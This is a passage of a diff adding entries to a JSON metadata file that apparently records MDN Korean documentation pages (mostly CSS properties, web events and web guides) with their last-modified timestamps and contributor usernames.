"2020-08-05T01:05:50.434Z", + "contributors": [ + "alattalatta", + "Netaras" + ] + }, + "Web/CSS/Media_Queries": { + "modified": "2019-05-30T11:03:40.194Z", + "contributors": [ + "alattalatta", + "Seonghui" + ] + }, + "Web/CSS/Media_Queries/Using_Media_Queries_for_Accessibility": { + "modified": "2019-04-29T00:53:50.949Z", + "contributors": [ + "qwqw312x" + ] + }, + "Web/CSS/Paged_Media": { + "modified": "2019-03-23T22:33:25.305Z", + "contributors": [ + "Netaras" + ] + }, + "Web/CSS/Pseudo-classes": { + "modified": "2020-08-13T04:55:02.947Z", + "contributors": [ + "alattalatta", + "Netaras" + ] + }, + "Web/CSS/Pseudo-elements": { + "modified": "2019-12-27T05:53:33.945Z", + "contributors": [ + "alattalatta", + "Netaras" + ] + }, + "Web/CSS/Reference": { + "modified": "2020-08-22T11:29:11.351Z", + "contributors": [ + "alattalatta", + "jinah1000", + "chrisdavidmills", + "dbwodlf3", + "Netaras", + "hoony", + "teoli", + "tregagnon", + "Pastelgrim" + ] + }, + "Web/CSS/Reference/Property_Template": { + "modified": "2020-10-15T21:16:53.027Z", + "contributors": [ + "alattalatta", + "wbamberg", + "chrisdavidmills", + "teoli", + "Pastelgrim" + ] + }, + "Web/CSS/Replaced_element": { + "modified": "2020-08-05T01:03:55.719Z", + "contributors": [ + "alattalatta", + "Hwan-Woong-Lee", + "wankyu", + "nyxchung", + "Netaras" + ] + }, + "Web/CSS/Selector_list": { + "modified": "2020-10-15T22:28:27.701Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/CSS/Shorthand_properties": { + "modified": "2020-08-19T13:35:44.001Z", + "contributors": [ + "alattalatta", + "Netaras" + ] + }, + "Web/CSS/Specificity": { + "modified": "2020-03-13T15:56:02.613Z", + "contributors": [ + "EatChangmyeong", + "alattalatta", + "Netaras" + ] + }, + "Web/CSS/Syntax": { + "modified": "2020-08-04T07:19:16.823Z", + "contributors": [ + "alattalatta", + "young-gratia", + "Netaras" + ] + }, + "Web/CSS/Type_selectors": { + "modified": "2020-10-15T21:47:13.300Z", + "contributors": [ + "alattalatta", + "pelly_ryu" + ] + }, + "Web/CSS/Universal_selectors": { + "modified": "2020-10-15T21:46:22.060Z", + "contributors": [ + "alattalatta", + "Netaras" + ] + }, + "Web/CSS/Using_CSS_custom_properties": { + "modified": "2020-11-10T06:07:11.739Z", + "contributors": [ + "hKa2020", + "alattalatta", + "chrisdavidmills", + "springday1023", + "stitchworkingonthecode" + ] + }, + "Web/CSS/Value_definition_syntax": { + "modified": "2020-08-14T12:47:43.592Z", + "contributors": [ + "alattalatta", + "ChanMyeong" + ] + }, + "Web/CSS/actual_value": { + "modified": "2019-03-18T21:13:04.184Z", + "contributors": [ + "alattalatta", + "Netaras" + ] + }, + "Web/CSS/align-content": { + "modified": "2020-10-15T22:09:15.263Z", + "contributors": [ + "alattalatta", + "qvil", + "dbwodlf3" + ] + }, + "Web/CSS/all": { + "modified": "2020-10-15T22:32:31.638Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/CSS/angle": { + "modified": "2020-10-15T22:10:53.294Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/CSS/angle-percentage": { + "modified": "2020-10-15T22:17:18.525Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/CSS/animation": { + "modified": "2020-10-15T21:21:11.163Z", + "contributors": [ + "alattalatta", + "JJapShe", + "teoli", + "mirinae312" + ] + }, + "Web/CSS/animation-delay": { + "modified": "2020-10-15T21:54:53.073Z", + "contributors": [ + "alattalatta", + "JJapShe", + "gobyoungil" + ] + }, + "Web/CSS/animation-direction": { + "modified": "2019-03-23T22:11:02.480Z", + "contributors": [ + "JJapShe", + "gobyoungil" + ] + }, + "Web/CSS/animation-duration": { + "modified": "2019-03-23T22:10:47.889Z", + "contributors": [ + "JJapShe" + ] + }, + "Web/CSS/animation-fill-mode": { + "modified": "2019-03-23T22:09:41.257Z", + "contributors": [ + "JJapShe" + ] + }, + "Web/CSS/backdrop-filter": { + "modified": "2020-10-15T22:32:42.698Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/CSS/backface-visibility": { + "modified": "2020-10-15T22:32:52.334Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/CSS/background": { + "modified": "2020-10-15T21:12:39.561Z", + "contributors": [ + "alattalatta", + "teoli", + "SphinxKnight", + "hoony", + "Yuichiro", + "Pastelgrim" + ] + }, + "Web/CSS/background-attachment": { + "modified": "2020-10-15T22:32:54.714Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/CSS/background-clip": { + "modified": "2020-10-15T22:26:03.561Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/CSS/background-color": { + "modified": "2020-10-15T21:20:19.568Z", + "contributors": [ + "alattalatta", + "Sebastianz", + "teoli", + "SphinxKnight", + "fscholz", + "jaemin_jo" + ] + }, + "Web/CSS/background-image": { + "modified": "2020-10-15T21:20:20.479Z", + "contributors": [ + "alattalatta", + "Sebastianz", + "teoli", + "SphinxKnight", + "fscholz", + "jaemin_jo" + ] + }, + "Web/CSS/background-origin": { + "modified": "2020-10-15T22:32:47.629Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/CSS/background-repeat": { + "modified": "2020-10-15T22:26:01.543Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/CSS/background-size": { + "modified": "2020-10-15T22:21:52.000Z", + "contributors": [ + "alattalatta", + "ksyeon" + ] + }, + "Web/CSS/basic-shape": { + "modified": "2020-10-15T22:25:46.167Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/CSS/blend-mode": { + "modified": "2020-10-15T22:25:55.632Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/CSS/border": { + "modified": "2020-10-15T22:10:27.959Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/CSS/border-bottom": { + "modified": "2020-10-15T22:18:08.650Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/CSS/border-bottom-color": { + "modified": "2020-10-15T22:17:59.886Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/CSS/border-bottom-style": { + "modified": "2020-10-15T22:16:16.852Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/CSS/border-bottom-width": { + "modified": "2020-10-15T22:16:03.984Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/CSS/border-collapse": { + "modified": "2020-10-15T21:47:33.161Z", + "contributors": [ + "alattalatta", + "wbamberg", + "Netaras" + ] + }, + "Web/CSS/border-color": { + "modified": "2020-10-15T22:10:26.965Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/CSS/border-image": { + "modified": "2020-10-15T22:15:54.372Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/CSS/border-image-outset": { + "modified": "2020-10-15T22:15:54.055Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/CSS/border-image-repeat": { + "modified": "2020-10-15T22:16:03.730Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/CSS/border-image-slice": { + "modified": "2020-10-15T22:15:32.458Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/CSS/border-image-source": { + "modified": "2020-10-15T22:15:59.508Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/CSS/border-image-width": { + "modified": "2020-10-15T22:15:53.843Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/CSS/border-left": { + "modified": "2020-10-15T22:18:07.361Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/CSS/border-left-color": { + "modified": "2020-10-15T22:17:54.423Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/CSS/border-left-style": { + "modified": "2020-10-15T22:16:15.619Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/CSS/border-left-width": { + "modified": "2020-10-15T22:16:04.408Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/CSS/border-radius": { + "modified": "2020-10-15T21:20:45.447Z", + "contributors": [ + "alattalatta", + "Rav", + "Sebastianz", + "teoli", + "mirinae312" + ] + }, + "Web/CSS/border-right": { + "modified": "2020-10-15T22:18:04.205Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/CSS/border-right-color": { + "modified": "2020-10-15T22:17:54.896Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/CSS/border-right-style": { + "modified": "2020-10-15T22:16:16.865Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/CSS/border-right-width": { + "modified": "2020-10-15T22:16:06.914Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/CSS/border-spacing": { + "modified": "2020-10-15T21:47:58.573Z", + "contributors": [ + "alattalatta", + "wbamberg", + "Netaras" + ] + }, + "Web/CSS/border-style": { + "modified": "2020-10-15T21:59:05.590Z", + "contributors": [ + "alattalatta", + "flavono123" + ] + }, + "Web/CSS/border-top": { + "modified": "2020-10-15T22:18:08.761Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/CSS/border-top-color": { + "modified": "2020-10-15T22:18:01.555Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/CSS/border-top-style": { + "modified": "2020-10-15T22:16:17.811Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/CSS/border-top-width": { + "modified": "2020-10-15T22:16:04.734Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/CSS/border-width": { + "modified": "2020-10-15T22:15:52.859Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/CSS/box-shadow": { + "modified": "2020-10-15T21:21:04.554Z", + "contributors": [ + "alattalatta", + "Sebastianz", + "teoli", + "hibiya", + "mirinae312" + ] + }, + "Web/CSS/box-sizing": { + "modified": "2020-10-15T21:33:10.536Z", + "contributors": [ + "alattalatta", + "Sebastianz", + "epicsaga", + "dochoul" + ] + }, + "Web/CSS/calc()": { + "modified": "2020-11-04T09:08:57.096Z", + "contributors": [ + "chrisdavidmills", + "alattalatta", + "mrstork", + "prayash", + "teoli", + "." + ] + }, + "Web/CSS/clear": { + "modified": "2020-10-15T21:47:42.826Z", + "contributors": [ + "alattalatta", + "Netaras" + ] + }, + "Web/CSS/clip-path": { + "modified": "2020-10-15T22:25:44.725Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/CSS/color": { + "modified": "2020-10-15T22:10:33.905Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/CSS/color_value": { + "modified": "2020-10-15T22:10:31.590Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/CSS/computed_value": { + "modified": "2020-01-07T12:39:00.311Z", + "contributors": [ + "alattalatta", + "Netaras" + ] + }, + "Web/CSS/contain": { + "modified": "2020-10-15T22:32:50.422Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/CSS/content": { + "modified": "2020-10-15T22:26:10.769Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/CSS/cursor": { + "modified": "2020-10-15T21:27:31.761Z", + "contributors": [ + "alattalatta", + "mrstork", + "Sebastianz", + "teoli", + "claudepache" + ] + }, + "Web/CSS/cursor/Using_URL_values_for_the_cursor_property": { + "modified": "2019-03-23T23:41:42.325Z", + "contributors": [ + "hjunshin", + "teoli", + "jaemin_jo", + "Ioseph" + ] + }, + "Web/CSS/display": { + "modified": "2020-10-15T22:17:25.714Z", + "contributors": [ + "alattalatta", + "dbwodlf3" + ] + }, + "Web/CSS/display-internal": { + "modified": "2020-11-29T06:46:46.662Z", + "contributors": [ + "alanhchoi" + ] + }, + "Web/CSS/filter": { + "modified": "2020-10-15T21:40:35.758Z", + "contributors": [ + "alattalatta", + "EatChangmyeong", + "chatoo2412", + "AshtonYoon", + "Sebastianz", + "hoony" + ] + }, + "Web/CSS/filter-function": { + "modified": "2020-08-14T06:59:41.785Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/CSS/filter-function/blur()": { + "modified": "2020-11-05T09:45:44.250Z", + "contributors": [ + "chrisdavidmills", + "alattalatta" + ] + }, + "Web/CSS/filter-function/brightness()": { + "modified": "2020-11-05T09:57:22.993Z", + "contributors": [ + "chrisdavidmills", + "alattalatta" + ] + }, + "Web/CSS/filter-function/contrast()": { + "modified": "2020-11-09T07:21:09.691Z", + "contributors": [ + "chrisdavidmills", + "alattalatta" + ] + }, + "Web/CSS/flex": { + "modified": "2020-10-15T22:09:18.729Z", + "contributors": [ + "alattalatta", + "dbwodlf3" + ] + }, + "Web/CSS/flex-basis": { + "modified": "2020-10-15T22:09:16.564Z", + "contributors": [ + "alattalatta", + "limjungmok", + "dbwodlf3" + ] + }, + "Web/CSS/flex-direction": { + "modified": "2020-10-15T22:09:14.650Z", + "contributors": [ + "alattalatta", + "limjungmok", + "dbwodlf3" + ] + }, + "Web/CSS/flex-flow": { + "modified": "2020-10-15T22:09:17.941Z", + "contributors": [ + "alattalatta", + "limjungmok", + "dbwodlf3" + ] + }, + "Web/CSS/flex-grow": { + "modified": "2020-10-15T22:09:15.124Z", + "contributors": [ + "limjungmok", + "dbwodlf3" + ] + }, + "Web/CSS/flex-shrink": { + "modified": "2020-10-15T22:09:11.292Z", + "contributors": [ + "limjungmok", + "dbwodlf3" + ] + }, + "Web/CSS/flex-wrap": { + "modified": "2020-10-15T22:09:11.421Z", + "contributors": [ + "limjungmok", + "dbwodlf3" + ] + }, + "Web/CSS/float": { + "modified": "2020-10-15T21:44:47.428Z", + "contributors": [ + "alattalatta", + "Netaras" + ] + }, + "Web/CSS/font": { + "modified": "2020-10-15T22:11:39.217Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/CSS/font-family": { + "modified": "2020-10-15T21:48:51.338Z", + "contributors": [ + "alattalatta", + "naduhy2" + ] + }, + "Web/CSS/font-feature-settings": { + "modified": "2020-11-04T06:31:19.905Z", + "contributors": [ + "hyunwoong.kang" + ] + }, + "Web/CSS/font-size": { + "modified": "2020-10-15T21:48:25.426Z", + "contributors": [ + "Anonymous", + "alattalatta", + "Hanjae-Jea" + ] + }, + "Web/CSS/font-synthesis": { + "modified": "2020-10-15T22:32:51.283Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/CSS/font-weight": { + "modified": "2019-03-23T22:40:06.260Z", + "contributors": [ + "naduhy2", + "jisoon", + "maytree" + ] + }, + "Web/CSS/frequency": { + "modified": "2020-10-15T22:17:20.180Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/CSS/gap": { + "modified": "2020-10-15T22:26:03.670Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/CSS/gradient": { + "modified": "2020-10-15T22:11:21.903Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/CSS/grid": { + "modified": "2020-10-15T22:09:39.253Z", + "contributors": [ + "dbwodlf3" + ] + }, + "Web/CSS/grid-area": { + "modified": "2020-10-15T22:09:39.279Z", + "contributors": [ + "dbwodlf3" + ] + }, + "Web/CSS/height": { + "modified": "2020-10-15T21:47:39.134Z", + "contributors": [ + "alattalatta", + "DeadIntegral" + ] + }, + "Web/CSS/hyphens": { + "modified": "2020-10-15T22:32:51.304Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/CSS/image": { + "modified": "2020-10-15T22:15:55.155Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/CSS/image-rendering": { + "modified": "2020-10-15T21:40:19.155Z", + "contributors": [ + "alattalatta", + "Hmmim" + ] + }, + "Web/CSS/inherit": { + "modified": "2020-10-15T21:44:46.933Z", + "contributors": [ + "alattalatta", + "Netaras" + ] + }, + "Web/CSS/inheritance": { + "modified": "2019-03-18T21:13:04.690Z", + "contributors": [ + "alattalatta", + "Netaras" + ] + }, + "Web/CSS/initial": { + "modified": "2020-10-15T21:45:36.803Z", + "contributors": [ + "alattalatta", + "Netaras" + ] + }, + "Web/CSS/initial_value": { + "modified": "2020-01-07T13:09:25.646Z", + "contributors": [ + "alattalatta", + "Netaras", + "teoli", + "Pastelgrim" + ] + }, + "Web/CSS/integer": { + "modified": "2020-10-15T22:10:29.443Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/CSS/isolation": { + "modified": "2020-10-15T22:25:56.295Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/CSS/length": { + "modified": "2020-10-15T22:10:30.645Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/CSS/length-percentage": { + "modified": "2020-10-15T22:18:00.322Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/CSS/letter-spacing": { + "modified": "2020-10-15T22:18:00.636Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/CSS/line-break": { + "modified": "2020-10-15T22:32:46.075Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/CSS/linear-gradient()": { + "modified": "2020-11-16T08:57:34.736Z", + "contributors": [ + "chrisdavidmills", + "alattalatta", + "KadirTopal", + "jh.Park", + "Sebastianz", + "Simplexible", + "wizAmit", + "slayslot", + "prayash", + "tamnajio", + "teoli", + "mirinae312" + ] + }, + "Web/CSS/margin": { + "modified": "2020-10-15T21:55:14.551Z", + "contributors": [ + "alattalatta", + "kidkkr" + ] + }, + "Web/CSS/margin-bottom": { + "modified": "2020-10-15T22:14:17.582Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/CSS/margin-left": { + "modified": "2020-10-15T22:14:20.259Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/CSS/margin-right": { + "modified": "2020-10-15T22:14:17.893Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/CSS/margin-top": { + "modified": "2020-10-15T21:45:27.749Z", + "contributors": [ + "alattalatta", + "Jinhyuk" + ] + }, + "Web/CSS/mask": { + "modified": "2020-10-15T21:53:40.995Z", + "contributors": [ + "alattalatta", + "hoony" + ] + }, + "Web/CSS/max-height": { + "modified": "2020-10-15T22:15:32.957Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/CSS/max-width": { + "modified": "2020-10-15T22:05:31.476Z", + "contributors": [ + "alattalatta", + "MyeonghwanCho" + ] + }, + "Web/CSS/min-height": { + "modified": "2020-10-15T22:15:30.962Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/CSS/min-width": { + "modified": "2020-10-15T22:05:30.663Z", + "contributors": [ + "alattalatta", + "MyeonghwanCho" + ] + }, + "Web/CSS/mix-blend-mode": { + "modified": "2020-10-15T21:49:53.526Z", + "contributors": [ + "alattalatta", + "dragmove" + ] + }, + "Web/CSS/number": { + "modified": "2020-10-15T22:10:27.997Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/CSS/object-fit": { + "modified": "2020-10-15T22:32:41.251Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/CSS/object-position": { + "modified": "2020-10-15T22:26:30.597Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/CSS/opacity": { + "modified": "2020-10-15T22:11:31.577Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/CSS/order": { + "modified": "2020-10-15T22:09:17.253Z", + "contributors": [ + "alattalatta", + "limjungmok", + "dbwodlf3" + ] + }, + "Web/CSS/outline": { + "modified": "2020-10-15T22:33:02.884Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/CSS/outline-style": { + "modified": "2020-10-15T22:33:03.744Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/CSS/outline-width": { + "modified": "2020-10-15T22:33:06.385Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/CSS/overflow": { + "modified": "2020-10-15T21:53:39.024Z", + "contributors": [ + "alattalatta", + "LeeJunyeol", + "nugurejeil" + ] + }, + "Web/CSS/overflow-wrap": { + "modified": "2020-10-15T21:48:38.411Z", + "contributors": [ + "Kaben", + "joshua1988" + ] + }, + "Web/CSS/padding": { + "modified": "2020-10-15T22:14:23.019Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/CSS/padding-bottom": { + "modified": "2020-10-15T22:15:32.533Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/CSS/padding-left": { + "modified": "2020-10-15T22:15:30.214Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/CSS/padding-right": { + "modified": "2020-10-15T22:15:32.316Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/CSS/padding-top": { + "modified": "2020-10-15T22:14:26.029Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/CSS/paint-order": { + "modified": "2020-10-15T22:32:44.393Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/CSS/percentage": { + "modified": "2020-10-15T22:10:31.553Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/CSS/pointer-events": { + "modified": "2020-10-15T22:11:48.556Z", + "contributors": [ + "alattalatta", + "limjungmok" + ] + }, + "Web/CSS/position": { + "modified": "2020-10-15T21:55:47.858Z", + "contributors": [ + "alattalatta", + "EatChangmyeong", + "huusz" + ] + }, + "Web/CSS/position_value": { + "modified": "2020-10-15T22:32:44.745Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/CSS/resolved_value": { + "modified": "2020-01-07T12:41:25.706Z", + "contributors": [ + "alattalatta", + "Netaras" + ] + }, + "Web/CSS/revert": { + "modified": "2020-10-15T22:32:20.027Z", + "contributors": [ + "oinochoe" + ] + }, + "Web/CSS/specified_value": { + "modified": "2019-03-18T20:42:45.260Z", + "contributors": [ + "alattalatta", + "Netaras" + ] + }, + "Web/CSS/tab-size": { + "modified": "2020-10-15T21:37:17.868Z", + "contributors": [ + "alattalatta", + "Sebastianz", + "hyeonseok" + ] + }, + "Web/CSS/text-align": { + "modified": "2020-10-15T22:27:00.842Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/CSS/text-decoration": { + "modified": "2020-10-15T22:18:03.446Z", + "contributors": [ + "limkukhyun", + "alattalatta" + ] + }, + "Web/CSS/text-shadow": { + "modified": "2020-10-15T21:21:02.822Z", + "contributors": [ + "limkukhyun", + "alattalatta", + "Sebastianz", + "teoli", + "mirinae312" + ] + }, + "Web/CSS/time": { + "modified": "2020-10-15T22:14:17.158Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/CSS/transform": { + "modified": "2020-10-15T21:20:53.479Z", + "contributors": [ + "alattalatta", + "Sebastianz", + "fscholz", + "teoli", + "mirinae312" + ] + }, + "Web/CSS/transform-function": { + "modified": "2020-10-15T21:51:13.494Z", + "contributors": [ + "alattalatta", + "Sebastianz" + ] + }, + "Web/CSS/transform-function/matrix()": { + "modified": "2020-11-16T08:59:50.359Z", + "contributors": [ + "chrisdavidmills", + "DeadIntegral" + ] + }, + "Web/CSS/transform-function/scaleX()": { + "modified": "2020-11-30T10:20:51.450Z", + "contributors": [ + "chrisdavidmills", + "genzuby" + ] + }, + "Web/CSS/transition": { + "modified": "2019-03-23T22:28:21.926Z", + "contributors": [ + "fasdgoc" + ] + }, + "Web/CSS/transition-delay": { + "modified": "2019-03-23T22:28:17.012Z", + "contributors": [ + "fasdgoc" + ] + }, + "Web/CSS/unset": { + "modified": "2020-10-15T21:45:37.546Z", + "contributors": [ + "alattalatta", + "Netaras" + ] + }, + "Web/CSS/url": { + "modified": "2020-10-15T22:10:55.121Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/CSS/used_value": { + "modified": "2020-01-07T12:50:25.214Z", + "contributors": [ + "alattalatta", + "Netaras" + ] + }, + "Web/CSS/user-select": { + "modified": "2020-10-15T22:33:14.947Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/CSS/var()": { + "modified": "2020-11-04T09:10:36.975Z", + "contributors": [ + "chrisdavidmills", + "alattalatta" + ] + }, + "Web/CSS/vertical-align": { + "modified": "2020-10-15T21:55:16.951Z", + "contributors": [ + "alattalatta", + "kidkkr" + ] + }, + "Web/CSS/visibility": { + "modified": "2020-10-15T22:15:38.851Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/CSS/white-space": { + "modified": "2020-10-15T21:52:50.149Z", + "contributors": [ + "alattalatta", + "maytree" + ] + }, + "Web/CSS/width": { + "modified": "2020-10-15T22:11:19.772Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/CSS/will-change": { + "modified": "2019-03-23T22:34:40.134Z", + "contributors": [ + "stitchworkingonthecode" + ] + }, + "Web/CSS/word-break": { + "modified": "2020-10-15T22:15:08.918Z", + "contributors": [ + "alattalatta", + "compctive" + ] + }, + "Web/CSS/word-spacing": { + "modified": "2020-10-15T22:33:03.458Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/CSS/z-index": { + "modified": "2020-10-15T21:20:31.595Z", + "contributors": [ + "alattalatta", + "teoli", + "jaemin_jo" + ] + }, + "Web/CSS/시작하기/리스트": { + "modified": "2019-03-23T23:33:11.239Z", + "contributors": [ + "teoli", + "SpikeYou" + ] + }, + "Web/CSS/시작하기/미디어": { + "modified": "2019-03-23T23:33:02.082Z", + "contributors": [ + "teoli", + "SpikeYou" + ] + }, + "Web/CSS/시작하기/배치": { + "modified": "2019-03-23T23:33:01.592Z", + "contributors": [ + "yooonmi", + "teoli", + "SpikeYou" + ] + }, + "Web/CSS/시작하기/상자": { + "modified": "2019-03-23T23:33:01.323Z", + "contributors": [ + "yooonmi", + "teoli", + "SpikeYou" + ] + }, + "Web/CSS/시작하기/종속과_상속": { + "modified": "2019-03-23T23:33:16.790Z", + "contributors": [ + "ElleXD", + "teoli", + "SpikeYou" + ] + }, + "Web/CSS/시작하기/테이블": { + "modified": "2019-03-23T23:33:00.475Z", + "contributors": [ + "teoli", + "SpikeYou" + ] + }, + "Web/CSS/시작하기/텍스트_스타일": { + "modified": "2019-03-23T23:33:09.659Z", + "contributors": [ + "yooonmi", + "teoli", + "SpikeYou" + ] + }, + "Web/CSS/인접_형제_선택자": { + "modified": "2020-10-15T21:53:17.801Z", + "contributors": [ + "alattalatta", + "neatnet" + ] + }, + "Web/EXSLT": { + "modified": "2019-03-23T23:51:10.063Z", + "contributors": [ + "ExE-Boss", + "teoli", + "Suguni" + ] + }, + "Web/Events": { + "modified": "2020-06-19T02:46:52.355Z", + "contributors": [ + "bumday", + "wbamberg", + "cs09g", + "ExE-Boss", + "alattalatta", + "nacyot", + "teoli", + "Jeremie" + ] + }, + "Web/Events/DOMContentLoaded": { + "modified": "2020-12-03T14:42:33.988Z", + "contributors": [ + "dink95", + "alattalatta", + "wbamberg", + "ExE-Boss", + "project42da" + ] + }, + "Web/Events/abort": { + "modified": "2019-04-30T14:12:00.284Z", + "contributors": [ + "wbamberg", + "guyeol" + ] + }, + "Web/Events/blur": { + "modified": "2019-03-18T21:27:20.806Z", + "contributors": [ + "ExE-Boss", + "whdckszxxx" + ] + }, + "Web/Events/load": { + "modified": "2019-04-30T14:18:11.441Z", + "contributors": [ + "wbamberg", + "ExE-Boss", + "SuminNoh" + ] + }, + "Web/Events/message": { + "modified": "2019-04-30T14:16:28.259Z", + "contributors": [ + "wbamberg", + "ExE-Boss", + "JinSeungHo" + ] + }, + "Web/Guide": { + "modified": "2019-03-23T23:28:18.945Z", + "contributors": [ + "digimon1740", + "stephenjang", + "moolow", + "haruair", + "Sheppy", + "jjangsuhyun" + ] + }, + "Web/Guide/AJAX": { + "modified": "2020-11-05T10:30:10.859Z", + "contributors": [ + "alattalatta", + "duduindo", + "chrisdavidmills", + "taggon", + "Jshin", + "Yongsuhb.e" + ] + }, + "Web/Guide/AJAX/Community": { + "modified": "2020-12-04T12:27:43.895Z", + "contributors": [ + "movegun1027", + "dink95" + ] + }, + "Web/Guide/AJAX/Getting_Started": { + "modified": "2020-11-05T10:30:21.696Z", + "contributors": [ + "alattalatta", + "naduhy2", + "mgcation", + "chrisdavidmills", + "kidkkr", + "dayoungles", + "SpikeYou", + "Channy", + "Nam-Hyung Kim", + "Sebuls", + "Eunseo.choi", + "Yongsuhb.e" + ] + }, + "Web/Guide/API": { + "modified": "2019-08-26T12:28:16.871Z", + "contributors": [ + "NoFence", + "alattalatta", + "Sheppy" + ] + }, + "Web/Guide/API/Vibration/Vibration": { + "modified": "2020-10-15T21:24:18.629Z", + "contributors": [ + "alattalatta", + "pjc0247", + "Sheppy", + "yunji_koh" + ] + }, + "Web/Guide/Audio_and_video_delivery": { + "modified": "2019-04-17T05:03:01.108Z" + }, + "Web/Guide/Audio_and_video_delivery/Adding_captions_and_subtitles_to_HTML5_video": { + "modified": "2019-05-13T05:46:53.607Z", + "contributors": [ + "hoony" + ] + }, + "Web/Guide/CSS/Block_formatting_context": { + "modified": "2020-08-05T00:58:44.120Z", + "contributors": [ + "alattalatta", + "moolow", + "corps99" + ] + }, + "Web/Guide/CSS/Media_queries": { + "modified": "2020-11-10T11:07:52.526Z", + "contributors": [ + "hKa2020", + "alattalatta", + "hwanseung", + "BANIP", + "seoyunho", + "Ground-Silver0903", + "Sebastianz", + "roupkk", + "mrstork", + "malayaleecoder", + "jooddang", + "jhonghee" + ] + }, + "Web/Guide/CSS/Visual_formatting_model": { + "modified": "2019-09-26T13:57:16.375Z", + "contributors": [ + "Hwan-Woong-Lee", + "nyxchung", + "cmygray", + "cheeee", + "dotorify", + "hotsummmer", + "JeongSeongDae" + ] + }, + "Web/Guide/DOM": { + "modified": "2019-03-23T23:26:56.400Z", + "contributors": [ + "Sheppy" + ] + }, + "Web/Guide/DOM/Using_full_screen_mode": { + "modified": "2020-10-15T21:24:24.180Z", + "contributors": [ + "DeadIntegral", + "wbamberg", + "junho85" + ] + }, + "Web/Guide/Events": { + "modified": "2019-03-23T23:03:35.888Z", + "contributors": [ + "moolow" + ] + }, + "Web/Guide/Events/Creating_and_triggering_events": { + "modified": "2019-03-18T21:13:18.844Z", + "contributors": [ + "cs09g" + ] + }, + "Web/Guide/Events/Overview_of_Events_and_Handlers": { + "modified": "2019-03-23T22:48:26.046Z", + "contributors": [ + "PineMt" + ] + }, + "Web/Guide/HTML/Content_Editable": { + "modified": "2019-03-23T22:40:12.545Z", + "contributors": [ + "gblue1223" + ] + }, + "Web/Guide/HTML/Content_categories": { + "modified": "2020-07-29T11:16:44.120Z", + "contributors": [ + "jojengman", + "alattalatta", + "chrisdavidmills", + "dooglegh", + "cs09g", + "KlausLee", + "lovefield", + "Kaben", + "azunyan3" + ] + }, + 